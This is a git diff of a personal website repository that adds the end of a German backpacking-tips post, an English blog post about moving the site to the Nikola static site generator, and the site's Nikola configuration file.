Nacht zu buchen und von da aus alle anderen zu besuchen und bei Gefallen umzuziehen. Feilschen in Hostels ist meist nicht. Für diese Übersicht ist ein Papier-Reiseführer nützlich. Nach nem Internet-Cafe mit vollem Gepäck und gerädert von der Busfahrt zu suchen, ist unnötig stressig. Im Hostel gibts meist Internet. + +Wegwerfnotebook +=============== + +Mit einem gebrauchten Netbook für <100 Euro kann man sich viel Ärger und Internetcafegebühren sparen. Die Dinger sind inzwischen leicht und dünn und in fast allen Hostels und Cafes gibts Wifi. Damit muss man nicht drauf warten, bis die gelangweilten Wohlstandstouris auf den trojanerverseuchten Büchsen zuende-ge-facebooked haben, man kann Backups der Fotoapparate machen und schnell mal eben welche auf CD brennen und heimschicken und sorglos Onlinebanking machen. + +Ansonsten ist Musikabspielgerät unabdingbar. Busreisen ohne Musik auf den Ohren ist öde. Ans Netzteil denken. + +Reisegepäck +=========== + +Mehr als zwei Rucksäcke zu 20kg und max 10kg solltet Ihr nicht mitnehmen. Merinowolleklamotten rocken. Kann man im Wechsel auch mal mit zwei Shirts ne Woche klarkommen. In einigen Regionen der Welt verschwinden auch gern mal Dinge aus Fluggepäck, also nicht die unersetzlichen Lieblingssachen mitnehmen, sondern im Notfall vor Ort shoppen. Auch für Partybekleidung vorausschauend denken ;) + +Was Ihr sonst so braucht, hängt von der Art der Reise ab: Wenn Ihr nur von Hostel zu Hostel hopst, findet Ihr in den Küchen alles vor. Wenns ab und zu ein Abenteuer-Campingtrip sein soll, brauchts natürlich Outdoorgeschirr, etc. Man kann in den meisten Unterkünften auch Reisegepäck für längere Zeit parken, also die Stadtklamotten inna Plastetüte in den Gepäckraum, während man Wildnis guckt. + +Ansonsten bereitet Euch drauf vor, zu latschen wie noch nie, selbst wenn Ihr sonst gern und viel wandert: Beim Traveln ist man praktisch nur am irgendwo Rumlatschen und Dinge Angucken, wenn man nicht gerade seine Wirbelsäule im Bus ruiniert. + +Andere Traveller +================ + +Übertriebener Pathos ist unter Rucksacktouris weit verbreitet. Ignoriert am besten alles was mit “You _HAVE_ to see XY” oder “If you haven’t seen XY, you’ve missed it all” anfängt. Die 18jährigen Amitouris sind leicht zu beeindrucken und meist haben sie nur ein paar zufällige positive Erlebnisse an einem Ort mitgenommen, die die Erinnerungen trüben, oder sie lügen gar und geben die Infos aus dem Lonely Planet als eigene Storys aus. Die ruhigen, meist etwas älteren Traveler in der Ecke, die Euch abgewogene Pros und Kontras von den Etappen ihrer Reise(n) aufzählen, sind verlässlichere Tippgeber. + +Wirklich gute Tipps gibts natürlich bei den Locals, sich einfach mal angenehm verirren und Leute in was anderem als Englisch anquatschen, wirkt Wunder (… wenn man nicht gerade in den Favelas von Rio spaziert. Aber auch da kanns angenehme Überraschungen geben: Townships in Südafrika sind herzlicher als man so denkt.) + +Sport +===== + +Wenn mans nicht eh schon tut, ist so eine Reise eine Supergelegenheit, mit dem Schwimmen anzufangen. Kann man praktisch überall machen, der Rücken braucht das echt und braucht kein zusätzliches Gepäck, wie Joggen oder Ballsport. + +Frauendinge +=========== + +Guckt am besten für alle Ziele die Sektionen “Reisen als Frauen” durch. Nicht überall ist als einzelne Frau rumzureisen entspannt. Im Notfall schnappt Euch den am wenigsten aufdringlich aussehenden Hippietraveler mit dem gleichen nächsten Ziel zum Zusammenreisen. Quotenmännchen in der Reisegruppe spart Nerven. diff --git a/blog/2015/write-the-flogging-manual.rst b/blog/2015/write-the-flogging-manual.rst new file mode 100644 index 0000000..278eb9f --- /dev/null +++ b/blog/2015/write-the-flogging-manual.rst @@ -0,0 +1,39 @@ +.. date: 2015/03/15 18:00 +.. title: Write the flogging manual + +More than thirteen years ago I set up my personal website. Proudly aligning everything with tables, hand writing HTML with :del:`pico` vi, using "clever" apache server side includes to inherit styles from parent directories and making everything so artsy bordering unreadability. And while in the beginning writing in HTML seemed fun, in the end it became so tedious, that updating the blog came to a grinding halt (we're all not getting younger). + +So in order to be able to publish again, I needed something more seasonable, with a responsive theme and simple enough to last another thirteen years. But my site accumulated so much cruft others depended on, replacing the apache alone with something more modern seemed unfeasible. Yet, my rather static content would best be served as static files by a *simple* web server – using an insecure scripting language on top of a complex database setup was completely out of the question. I once went through the pain of setting up and maintaining a wordpress site for my dad, there's no need to repeat that agony for something I'd like to use on a daily basis. + +But all the projects out there that would allow me to generate a static site from a simple markup language, like `blogofile `_ or `pelican `_ too narrowly focussed on the use case they were born from – to generate a somewhat dynamic blog, with an optional static about page – this was not how I imagined my content to be assembled together. I wanted something richer, teasers for my blog posts on my front page, lists of all projects and songs, without the need to write my own code to do that. So – I made `tomster write some code `_ to accomplish that. However, after writing enough code to scratch his own itches, he left the code for good ;) + +scratching MY itch +================== + +Enter `nikola `_. After a good soul implemented `custom post lists `_, I finally could describe what I imagined my site should look like in a markup language and not in code (although `restructured text `_ is not the simplest markup language). It would support `bootstrap `_ and `bootswatch `_ out of the box, solving all my skinning needs. + +I will not go into much details on how to get a nikola site running, there is an `excellent nikola static page primer `_ for that. From there I installed the `cosmo bootswatch skin `_ for its free and elegant font `Source Sans Pro `_ and its simple yet modern look. ``nikola bootswatch_theme cosmo`` and I'm done. + +After creating some pages and posts and giving them tags, a simple rst statement in my index.rst would be enough to list all those posts and render them via my custom template (although the default template will suffice for he sake of experiments):: + + .. post-list:: + :all: + :tags: project + :template: list_projects.tmpl + :id: projects + :sort: prio + :reverse: + +Note, that the ``sort`` parameter was only added in version 7.3.4. In the process of making the pages look good it took some tricks to use the full power of bootstrap. One is to add custom classes to whole sections inline in rst:: + + .. class:: col-md-6 pull-left + + Software projects + ================= + +The other is to skin the hell out of the default bootswatch theme using my own css ``themes/erdgeist/assets/css/erdgeist.css`` and adding it to the ``bundles`` file inside the theme. + +short comings +============= + +However, even nikola is not perfect. It uses a dependency system to figure out what to *rebuild* when content has changed. It will however not know in which order to render pages, so that includes like the blog post previews may be missing when the front page to show them is rendered. A work around is to set the date (in the meta fields) of any page that aggregates posts with the post-list directive to something very ancient, as the site is rendered in reverse timeline order, so the then newer posts will be there when you need them. diff --git a/conf.py b/conf.py new file mode 100644 index 0000000..ba2906b --- /dev/null +++ b/conf.py @@ -0,0 +1,955 @@ +# -*- coding: utf-8 -*- + +from __future__ import unicode_literals +import time + +# ! Some settings can be different in different languages. +# ! A comment stating (translatable) is used to denote those. +# ! There are two ways to specify a translatable setting: +# ! (a) BLOG_TITLE = "My Blog" +# ! (b) BLOG_TITLE = {"en": "My Blog", "es": "Mi Blog"} +# ! Option (a) is used when you don't want that setting translated. +# ! Option (b) is used for settings that are different in different languages. + + +# Data about this site +BLOG_AUTHOR = "erdgeist" # (translatable) +BLOG_TITLE = "erdgeist.org" # (translatable) +# This is the main URL for your site. It will be used +# in a prominent link +SITE_URL = "http://erdgeist.org/" +# This is the URL where Nikola's output will be deployed. +# If not set, defaults to SITE_URL +# BASE_URL = "http://erdgeist.org/" +BLOG_EMAIL = "erdgeist@erdgeist.org" +BLOG_DESCRIPTION = "is the personal page of Dirk Engling aka erdgeist" # (translatable) + +# Nikola is multilingual! +# +# Currently supported languages are: +# +# en English +# ar Arabic +# bg Bulgarian +# ca Catalan +# cs Czech [ALTERNATIVELY cz] +# da Danish +# de German +# el Greek [NOT gr] +# eo Esperanto +# es Spanish +# et Estonian +# eu Basque +# fa Persian +# fi Finnish +# fr French +# hi Hindi +# hr Croatian +# id Indonesian +# it Italian +# ja Japanese [NOT jp] +# ko Korean +# nb Norwegian Bokmål +# nl Dutch +# pl Polish +# pt_br Portuguese (Brasil) +# ru Russian +# sk Slovak +# sl Slovene +# sr Serbian (Cyrillic) +# sv Swedish +# tr Turkish [NOT tr_TR] +# ur Urdu +# zh_cn Chinese (Simplified) +# +# If you want to use Nikola with a non-supported language you have to provide +# a module containing the necessary translations +# (cf. the modules at nikola/data/themes/base/messages/). +# If a specific post is not translated to a language, then the version +# in the default language will be shown instead. + +# What is the default language? +DEFAULT_LANG = "en" + +# What other languages do you have? +# The format is {"translationcode" : "path/to/translation" } +# the path will be used as a prefix for the generated pages location +TRANSLATIONS = { + DEFAULT_LANG: "", +} + +# What will translated input files be named like? + +# If you have a page something.rst, then something.pl.rst will be considered +# its Polish translation. +# (in the above example: path == "something", ext == "rst", lang == "pl") +# this pattern is also used for metadata: +# something.meta -> something.pl.meta + +TRANSLATIONS_PATTERN = "{path}.{lang}.{ext}" + +# Links for the sidebar / navigation bar. (translatable) +# This is a dict. The keys are languages, and values are tuples. +# +# For regular links: +# ('http://getnikola.com/', 'Nikola Homepage') +# +# For submenus: +# ( +# ( +# ('http://apple.com/', 'Apple'), +# ('http://orange.com/', 'Orange'), +# ), +# 'Fruits' +# ) +# +# WARNING: Support for submenus is theme-dependent. +# Only one level of submenus is supported. +# WARNING: Some themes, including the default Bootstrap 3 theme, +# may present issues if the menu is too large. +# (in bootstrap3, the navbar can grow too large and cover contents.) +# WARNING: If you link to directories, make sure to follow +# ``STRIP_INDEXES``. If it’s set to ``True``, end your links +# with a ``/``, otherwise end them with ``/index.html`` — or +# else they won’t be highlighted when active. + +NAVIGATION_LINKS = { + DEFAULT_LANG: ( + ('/', 'Home', 'icon-home' ), + ('/about/', 'About', 'icon-user' ), + ('/blog/', 'Blog', 'icon-comment' ), + ('/music/', 'Music', 'icon-music' ), + ('/poetry/', 'Poetry', 'icon-pencil' ), +# ('https://github.com/erdgeist', 'erdgeist on github', 'icon-github-circled' ), +# ('https://twitter.com/erdgeist', 'erdgeist on Twitter', 'icon-twitter'), + ) + } + +# Name of the theme to use. +THEME="erdgeist" + +# Below this point, everything is optional + +# Post's dates are considered in UTC by default, if you want to use +# another time zone, please set TIMEZONE to match. Check the available +# list from Wikipedia: +# http://en.wikipedia.org/wiki/List_of_tz_database_time_zones +# (e.g. 'Europe/Zurich') +# Also, if you want to use a different time zone in some of your posts, +# you can use the ISO 8601/RFC 3339 format (ex. 2012-03-30T23:00:00+02:00) +TIMEZONE = "Europe/Berlin" + +# If you want to use ISO 8601 (also valid RFC 3339) throughout Nikola +# (especially in new_post), set this to True. +# Note that this does not affect DATE_FORMAT. +# FORCE_ISO8601 = False + +# Date format used to display post dates. +# (str used by datetime.datetime.strftime) +# DATE_FORMAT = '%Y-%m-%d %H:%M' + +# Date format used to display post dates, if local dates are used. +# (str used by moment.js) +# JS_DATE_FORMAT = 'YYYY-MM-DD HH:mm' + +# Date fanciness. +# +# 0 = using DATE_FORMAT and TIMEZONE +# 1 = using JS_DATE_FORMAT and local user time (via moment.js) +# 2 = using a string like “2 days ago” +# +# Your theme must support it, bootstrap and bootstrap3 already do. +# DATE_FANCINESS = 0 + +# While Nikola can select a sensible locale for each language, +# sometimes explicit control can come handy. +# In this file we express locales in the string form that +# python's locales will accept in your OS, by example +# "en_US.utf8" in Unix-like OS, "English_United States" in Windows. +# LOCALES = dict mapping language --> explicit locale for the languages +# in TRANSLATIONS. You can omit one or more keys. +# LOCALE_FALLBACK = locale to use when an explicit locale is unavailable +# LOCALE_DEFAULT = locale to use for languages not mentioned in LOCALES; if +# not set the default Nikola mapping is used. + +# POSTS and PAGES contains (wildcard, destination, template) tuples. +# +# The wildcard is used to generate a list of reSt source files +# (whatever/thing.txt). +# +# That fragment could have an associated metadata file (whatever/thing.meta), +# and optionally translated files (example for Spanish, with code "es"): +# whatever/thing.es.txt and whatever/thing.es.meta +# +# This assumes you use the default TRANSLATIONS_PATTERN. +# +# From those files, a set of HTML fragment files will be generated: +# cache/whatever/thing.html (and maybe cache/whatever/thing.html.es) +# +# These files are combined with the template to produce rendered +# pages, which will be placed at +# output / TRANSLATIONS[lang] / destination / pagename.html +# +# where "pagename" is the "slug" specified in the metadata file. +# +# The difference between POSTS and PAGES is that POSTS are added +# to feeds and are considered part of a blog, while PAGES are +# just independent HTML pages. +# + +POSTS = ( + ("blog/*.rst", "posts", "post.tmpl"), + ("blog/*.md", "posts", "post.tmpl"), + ("blog/*.txt", "posts", "post.tmpl"), +) +PAGES = ( + ("stories/*.rst", "", "story.tmpl"), + ("stories/*.md", "", "story.tmpl"), + ("stories/*.txt", "", "story.tmpl"), +) + +# One or more folders containing files to be copied as-is into the output. +# The format is a dictionary of {source: relative destination}. +# Default is: +# FILES_FOLDERS = {'files': ''} +# Which means copy 'files' into 'output' + +# One or more folders containing listings to be processed and stored into +# the output. The format is a dictionary of {source: relative destination}. +# Default is: +# LISTINGS_FOLDERS = {'listings': 'listings'} +# Which means process listings from 'listings' into 'output/listings' + +# A mapping of languages to file-extensions that represent that language. +# Feel free to add or delete extensions to any list, but don't add any new +# compilers unless you write the interface for it yourself. +# +# 'rest' is reStructuredText +# 'markdown' is MarkDown +# 'html' assumes the file is HTML and just copies it +COMPILERS = { + "rest": ('.rst', '.txt'), + "markdown": ('.md', '.mdown', '.markdown'), + "textile": ('.textile',), + "txt2tags": ('.t2t',), + "bbcode": ('.bb',), + "wiki": ('.wiki',), + "ipynb": ('.ipynb',), + "html": ('.html', '.htm'), + # PHP files are rendered the usual way (i.e. with the full templates). + # The resulting files have .php extensions, making it possible to run + # them without reconfiguring your server to recognize them. + "php": ('.php',), + # Pandoc detects the input from the source filename + # but is disabled by default as it would conflict + # with many of the others. + # "pandoc": ('.rst', '.md', '.txt'), +} + +# Create by default posts in one file format? +# Set to False for two-file posts, with separate metadata. +# ONE_FILE_POSTS = True + +# If this is set to True, the DEFAULT_LANG version will be displayed for +# untranslated posts. +# If this is set to False, then posts that are not translated to a language +# LANG will not be visible at all in the pages in that language. +# Formerly known as HIDE_UNTRANSLATED_POSTS (inverse) +# SHOW_UNTRANSLATED_POSTS = True + +# Nikola supports logo display. If you have one, you can put the URL here. +# Final output is . +# The URL may be relative to the site root. +# LOGO_URL = '' + +# If you want to hide the title of your website (for example, if your logo +# already contains the text), set this to False. +SHOW_BLOG_TITLE = False + +# Writes tag cloud data in form of tag_cloud_data.json. +# Warning: this option will change its default value to False in v8! +WRITE_TAG_CLOUD = False + +# Paths for different autogenerated bits. These are combined with the +# translation paths. + +# Final locations are: +# output / TRANSLATION[lang] / TAG_PATH / index.html (list of tags) +# output / TRANSLATION[lang] / TAG_PATH / tag.html (list of posts for a tag) +# output / TRANSLATION[lang] / TAG_PATH / tag.xml (RSS feed for a tag) +# TAG_PATH = "categories" + +# If TAG_PAGES_ARE_INDEXES is set to True, each tag's page will contain +# the posts themselves. If set to False, it will be just a list of links. +# TAG_PAGES_ARE_INDEXES = False + +# Set descriptions for tag pages to make them more interesting. The +# default is no description. The value is used in the meta description +# and displayed underneath the tag list or index page’s title. +# TAG_PAGES_DESCRIPTIONS = { +# DEFAULT_LANG: { +# "blogging": "Meta-blog posts about blogging about blogging.", +# "open source": "My contributions to my many, varied, ever-changing, and eternal libre software projects." +# }, +#} + +# Only include tags on the tag list/overview page if there are at least +# TAGLIST_MINIMUM_POSTS number of posts or more with every tag. Every tag +# page is still generated, linked from posts, and included in the sitemap. +# However, more obscure tags can be hidden from the tag index page. +# TAGLIST_MINIMUM_POSTS = 1 + +# Final locations are: +# output / TRANSLATION[lang] / CATEGORY_PATH / index.html (list of categories) +# output / TRANSLATION[lang] / CATEGORY_PATH / CATEGORY_PREFIX category.html (list of posts for a category) +# output / TRANSLATION[lang] / CATEGORY_PATH / CATEGORY_PREFIX category.xml (RSS feed for a category) +# CATEGORY_PATH = "categories" +# CATEGORY_PREFIX = "cat_" + +# If CATEGORY_PAGES_ARE_INDEXES is set to True, each category's page will contain +# the posts themselves. If set to False, it will be just a list of links. +# CATEGORY_PAGES_ARE_INDEXES = False + +# Set descriptions for category pages to make them more interesting. The +# default is no description. The value is used in the meta description +# and displayed underneath the category list or index page’s title. +# CATEGORY_PAGES_DESCRIPTIONS = { +# DEFAULT_LANG: { +# "blogging": "Meta-blog posts about blogging about blogging.", +# "open source": "My contributions to my many, varied, ever-changing, and eternal libre software projects." +# }, +#} + +# Final location for the main blog page and sibling paginated pages is +# output / TRANSLATION[lang] / INDEX_PATH / index-*.html +INDEX_PATH = "blog" + +# Create per-month archives instead of per-year +# CREATE_MONTHLY_ARCHIVE = False +# Create one large archive instead of per-year +# CREATE_SINGLE_ARCHIVE = False +# Create year, month, and day archives each with a (long) list of posts +# (overrides both CREATE_MONTHLY_ARCHIVE and CREATE_SINGLE_ARCHIVE) +# CREATE_FULL_ARCHIVES = False +# If monthly archives or full archives are created, adds also one archive per day +# CREATE_DAILY_ARCHIVE = False +# Final locations for the archives are: +# output / TRANSLATION[lang] / ARCHIVE_PATH / ARCHIVE_FILENAME +# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / index.html +# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / index.html +# output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / DAY / index.html +# ARCHIVE_PATH = "" +# ARCHIVE_FILENAME = "archive.html" + +# If ARCHIVES_ARE_INDEXES is set to True, each archive page which contains a list +# of posts will contain the posts themselves. If set to False, it will be just a +# list of links. +# ARCHIVES_ARE_INDEXES = False + +# URLs to other posts/pages can take 3 forms: +# rel_path: a relative URL to the current page/post (default) +# full_path: a URL with the full path from the root +# absolute: a complete URL (that includes the SITE_URL) +# URL_TYPE = 'rel_path' + +# Final location for the blog main RSS feed is: +# output / TRANSLATION[lang] / RSS_PATH / rss.xml +RSS_PATH = "blog/" + +# Number of posts in RSS feeds +# FEED_LENGTH = 10 + +# Slug the Tag URL easier for users to type, special characters are +# often removed or replaced as well. +# SLUG_TAG_PATH = True + +# A list of redirection tuples, [("foo/from.html", "/bar/to.html")]. +# +# A HTML file will be created in output/foo/from.html that redirects +# to the "/bar/to.html" URL. notice that the "from" side MUST be a +# relative URL. +# +# If you don't need any of these, just set to [] +REDIRECTIONS = [] + +# Presets of commands to execute to deploy. Can be anything, for +# example, you may use rsync: +# "rsync -rav --delete output/ joe@my.site:/srv/www/site" +# And then do a backup, or run `nikola ping` from the `ping` +# plugin (`nikola plugin -i ping`). Or run `nikola check -l`. +# You may also want to use github_deploy (see below). +# You can define multiple presets and specify them as arguments +# to `nikola deploy`. If no arguments are specified, a preset +# named `default` will be executed. You can use as many presets +# in a `nikola deploy` command as you like. +DEPLOY_COMMANDS = { + 'default': [ + "rsync -av --delete output/ erdgeist.org:erdgeist.org/new/", + ] +} + +# For user.github.io OR organization.github.io pages, the DEPLOY branch +# MUST be 'master', and 'gh-pages' for other repositories. +# GITHUB_SOURCE_BRANCH = 'master' +# GITHUB_DEPLOY_BRANCH = 'gh-pages' + +# The name of the remote where you wish to push to, using github_deploy. +# GITHUB_REMOTE_NAME = 'origin' + +# Where the output site should be located +# If you don't use an absolute path, it will be considered as relative +# to the location of conf.py +# OUTPUT_FOLDER = 'output' + +# where the "cache" of partial generated content should be located +# default: 'cache' +# CACHE_FOLDER = 'cache' + +# Filters to apply to the output. +# A directory where the keys are either: a file extensions, or +# a tuple of file extensions. +# +# And the value is a list of commands to be applied in order. +# +# Each command must be either: +# +# A string containing a '%s' which will +# be replaced with a filename. The command *must* produce output +# in place. +# +# Or: +# +# A python callable, which will be called with the filename as +# argument. +# +# By default, only .php files uses filters to inject PHP into +# Nikola’s templates. All other filters must be enabled through FILTERS. +# +# Many filters are shipped with Nikola. A list is available in the manual: +# +# +# from nikola import filters +# FILTERS = { +# ".html": [filters.typogrify], +# ".js": [filters.closure_compiler], +# ".jpg": ["jpegoptim --strip-all -m75 -v %s"], +# } + +# Expert setting! Create a gzipped copy of each generated file. Cheap server- +# side optimization for very high traffic sites or low memory servers. +# GZIP_FILES = False +# File extensions that will be compressed +# GZIP_EXTENSIONS = ('.txt', '.htm', '.html', '.css', '.js', '.json', '.xml') +# Use an external gzip command? None means no. +# Example: GZIP_COMMAND = "pigz -k {filename}" +# GZIP_COMMAND = None +# Make sure the server does not return a "Accept-Ranges: bytes" header for +# files compressed by this option! OR make sure that a ranged request does not +# return partial content of another representation for these resources. Do not +# use this feature if you do not understand what this means. + +# Compiler to process LESS files. +# LESS_COMPILER = 'lessc' + +# A list of options to pass to the LESS compiler. +# Final command is: LESS_COMPILER LESS_OPTIONS file.less +# LESS_OPTIONS = [] + +# Compiler to process Sass files. +# SASS_COMPILER = 'sass' + +# A list of options to pass to the Sass compiler. +# Final command is: SASS_COMPILER SASS_OPTIONS file.s(a|c)ss +# SASS_OPTIONS = [] + +# ############################################################################# +# Image Gallery Options +# ############################################################################# + +# One or more folders containing galleries. The format is a dictionary of +# {"source": "relative_destination"}, where galleries are looked for in +# "source/" and the results will be located in +# "OUTPUT_PATH/relative_destination/gallery_name" +# Default is: +# GALLERY_FOLDERS = {"gallery": "gallery", "images" : "pics" } +# More gallery options: +THUMBNAIL_SIZE = 180 +MAX_IMAGE_SIZE = 480 +# USE_FILENAME_AS_TITLE = True +# EXTRA_IMAGE_EXTENSIONS = [] +# +# If set to False, it will sort by filename instead. Defaults to True +# GALLERY_SORT_BY_DATE = True +# +# Folders containing images to be used in normal posts or +# pages. Images will be scaled down according to THUMBNAIL_SIZE and +# MAX_IMAGE_SIZE options, but will have to be referenced manually to +# be visible on the site. The format is a dictionary of {source: +# relative destination}. +# +IMAGE_FOLDERS = {'images': 'about'} + +# ############################################################################# +# HTML fragments and diverse things that are used by the templates +# ############################################################################# + +# Data about post-per-page indexes. +# INDEXES_PAGES defaults to ' old posts, page %d' or ' page %d' (translated), +# depending on the value of INDEXES_PAGES_MAIN. +# +# (translatable) If the following is empty, defaults to BLOG_TITLE: +# INDEXES_TITLE = "" +# +# (translatable) If the following is empty, defaults to ' [old posts,] page %d' (see above): +# INDEXES_PAGES = "" +# +# If the following is True, INDEXES_PAGES is also displayed on the main (the +# newest) index page (index.html): +# INDEXES_PAGES_MAIN = False +# +# If the following is True, index-1.html has the oldest posts, index-2.html the +# second-oldest posts, etc., and index.html has the newest posts. This ensures +# that all posts on index-x.html will forever stay on that page, now matter how +# many new posts are added. +# If False, index-1.html has the second-newest posts, index-2.html the third-newest, +# and index-n.html the oldest posts. When this is active, old posts can be moved +# to other index pages when new posts are added. +# INDEXES_STATIC = True +# +# (translatable) If PRETTY_URLS is set to True, this setting will be used to create +# more pretty URLs for index pages, such as page/2/index.html instead of index-2.html. +# Valid values for this settings are: +# * False, +# * a list or tuple, specifying the path to be generated, +# * a dictionary mapping languages to lists or tuples. +# Every list or tuple must consist of strings which are used to combine the path; +# for example: +# ['page', '{number}', '{index_file}'] +# The replacements +# {number} --> (logical) page number; +# {old_number} --> the page number inserted into index-n.html before (zero for +# the main page); +# {index_file} --> value of option INDEX_FILE +# are made. +# Note that in case INDEXES_PAGES_MAIN is set to True, a redirection will be created +# for the full URL with the page number of the main page to the normal (shorter) main +# page URL. +# INDEXES_PRETTY_PAGE_URL = False + +# Color scheme to be used for code blocks. If your theme provides +# "assets/css/code.css" this is ignored. +# Can be any of autumn borland bw colorful default emacs friendly fruity manni +# monokai murphy native pastie perldoc rrt tango trac vim vs +# CODE_COLOR_SCHEME = 'default' + +# If you use 'site-reveal' theme you can select several subthemes +# THEME_REVEAL_CONFIG_SUBTHEME = 'sky' +# You can also use: beige/serif/simple/night/default + +# Again, if you use 'site-reveal' theme you can select several transitions +# between the slides +# THEME_REVEAL_CONFIG_TRANSITION = 'cube' +# You can also use: page/concave/linear/none/default + +# FAVICONS contains (name, file, size) tuples. +# Used for create favicon link like this: +# +# FAVICONS = { +# ("icon", "/favicon.ico", "16x16"), +# ("icon", "/icon_128x128.png", "128x128"), +# } + +# Show only teasers in the index pages? Defaults to False. +# INDEX_TEASERS = False + +# HTML fragments with the Read more... links. +# The following tags exist and are replaced for you: +# {link} A link to the full post page. +# {read_more} The string “Read more” in the current language. +# {reading_time} An estimate of how long it will take to read the post. +# {remaining_reading_time} An estimate of how long it will take to read the post, sans the teaser. +# {min_remaining_read} The string “{remaining_reading_time} min remaining to read” in the current language. +# {paragraph_count} The amount of paragraphs in the post. +# {remaining_paragraph_count} The amount of paragraphs in the post, sans the teaser. +# {{ A literal { (U+007B LEFT CURLY BRACKET) +# }} A literal } (U+007D RIGHT CURLY BRACKET) + +# 'Read more...' for the index page, if INDEX_TEASERS is True (translatable) +INDEX_READ_MORE_LINK = '

{read_more}…

' +# 'Read more...' for the RSS_FEED, if RSS_TEASERS is True (translatable) +RSS_READ_MORE_LINK = '

{read_more}… ({min_remaining_read})

' + +# Append a URL query to the RSS_READ_MORE_LINK and the //rss/item/link in +# RSS feeds. Minimum example for Piwik "pk_campaign=rss" and Google Analytics +# "utm_source=rss&utm_medium=rss&utm_campaign=rss". Advanced option used for +# traffic source tracking. +RSS_LINKS_APPEND_QUERY = False + +# A HTML fragment describing the license, for the sidebar. +# (translatable) +LICENSE = "" +# I recommend using the Creative Commons' wizard: +# http://creativecommons.org/choose/ +# LICENSE = """ +# +# Creative Commons License BY-NC-SA""" + +# A small copyright notice for the page footer (in HTML). +# (translatable) +CONTENT_FOOTER = "" +# 'Contents © {date} {author} - Powered by Nikola {license}' + +# Things that will be passed to CONTENT_FOOTER.format(). This is done +# for translatability, as dicts are not formattable. Nikola will +# intelligently format the setting properly. +# The setting takes a dict. The keys are languages. The values are +# tuples of tuples of positional arguments and dicts of keyword arguments +# to format(). For example, {'en': (('Hello'), {'target': 'World'})} +# results in CONTENT_FOOTER['en'].format('Hello', target='World'). +# WARNING: If you do not use multiple languages with CONTENT_FOOTER, this +# still needs to be a dict of this format. (it can be empty if you +# do not need formatting) +# (translatable) +CONTENT_FOOTER_FORMATS = { + DEFAULT_LANG: ( + (), + { + "email": BLOG_EMAIL, +# "author": BLOG_AUTHOR, + "date": time.gmtime().tm_year, + "license": LICENSE + } + ) +} + +# To use comments, you can choose between different third party comment +# systems. The following comment systems are supported by Nikola: +# disqus, facebook, googleplus, intensedebate, isso, livefyre, muut +# You can leave this option blank to disable comments. +COMMENT_SYSTEM = "" +# And you also need to add your COMMENT_SYSTEM_ID which +# depends on what comment system you use. The default is +# "nikolademo" which is a test account for Disqus. More information +# is in the manual. +COMMENT_SYSTEM_ID = "" + +# Enable annotations using annotateit.org? +# If set to False, you can still enable them for individual posts and pages +# setting the "annotations" metadata. +# If set to True, you can disable them for individual posts and pages using +# the "noannotations" metadata. +# ANNOTATIONS = False + +# Create index.html for page (story) folders? +# WARNING: if a page would conflict with the index file (usually +# caused by setting slug to `index`), the STORY_INDEX +# will not be generated for that directory. +# STORY_INDEX = False +# Enable comments on story pages? +# COMMENTS_IN_STORIES = False +# Enable comments on picture gallery pages? +# COMMENTS_IN_GALLERIES = False + +# What file should be used for directory indexes? +# Defaults to index.html +# Common other alternatives: default.html for IIS, index.php +# INDEX_FILE = "index.html" + +# If a link ends in /index.html, drop the index.html part. +# http://mysite/foo/bar/index.html => http://mysite/foo/bar/ +# (Uses the INDEX_FILE setting, so if that is, say, default.html, +# it will instead /foo/default.html => /foo) +# (Note: This was briefly STRIP_INDEX_HTML in v 5.4.3 and 5.4.4) +# Default = False +STRIP_INDEXES = True + +# Should the sitemap list directories which only include other directories +# and no files. +# Default to True +# If this is False +# e.g. /2012 includes only /01, /02, /03, /04, ...: don't add it to the sitemap +# if /2012 includes any files (including index.html)... add it to the sitemap +# SITEMAP_INCLUDE_FILELESS_DIRS = True + +# List of files relative to the server root (!) that will be asked to be excluded +# from indexing and other robotic spidering. * is supported. Will only be effective +# if SITE_URL points to server root. The list is used to exclude resources from +# /robots.txt and /sitemap.xml, and to inform search engines about /sitemapindex.xml. +# ROBOTS_EXCLUSIONS = ["/archive.html", "/category/*.html"] + +# Instead of putting files in .html, put them in +# /index.html. Also enables STRIP_INDEXES +# This can be disabled on a per-page/post basis by adding +# .. pretty_url: False +# to the metadata +# PRETTY_URLS = False + +# If True, publish future dated posts right away instead of scheduling them. +# Defaults to False. +# FUTURE_IS_NOW = False + +# If True, future dated posts are allowed in deployed output +# Only the individual posts are published/deployed; not in indexes/sitemap +# Generally, you want FUTURE_IS_NOW and DEPLOY_FUTURE to be the same value. +# DEPLOY_FUTURE = False +# If False, draft posts will not be deployed +# DEPLOY_DRAFTS = True + +# Allows scheduling of posts using the rule specified here (new_post -s) +# Specify an iCal Recurrence Rule: http://www.kanzaki.com/docs/ical/rrule.html +# SCHEDULE_RULE = '' +# If True, use the scheduling rule to all posts by default +# SCHEDULE_ALL = False + +# Do you want a add a Mathjax config file? +# MATHJAX_CONFIG = "" + +# If you are using the compile-ipynb plugin, just add this one: +# MATHJAX_CONFIG = """ +# +# """ + +# Do you want to customize the nbconversion of your IPython notebook? +# IPYNB_CONFIG = {} +# With the following example configuration you can use a custom jinja template +# called `toggle.tpl` which has to be located in your site/blog main folder: +# IPYNB_CONFIG = {'Exporter':{'template_file': 'toggle'}} + +# What Markdown extensions to enable? +# You will also get gist, nikola and podcast because those are +# done in the code, hope you don't mind ;-) +# Note: most Nikola-specific extensions are done via the Nikola plugin system, +# with the MarkdownExtension class and should not be added here. +# MARKDOWN_EXTENSIONS = ['fenced_code', 'codehilite'] + +# Extra options to pass to the pandoc comand. +# by default, it's empty, is a list of strings, for example +# ['-F', 'pandoc-citeproc', '--bibliography=/Users/foo/references.bib'] +# PANDOC_OPTIONS = [] + +# Social buttons. This is sample code for AddThis (which was the default for a +# long time). Insert anything you want here, or even make it empty. +# (translatable) +SOCIAL_BUTTONS_CODE = "" +# +#
+# Share +#
  • +#
  • +#
  • +#
  • +#
+#
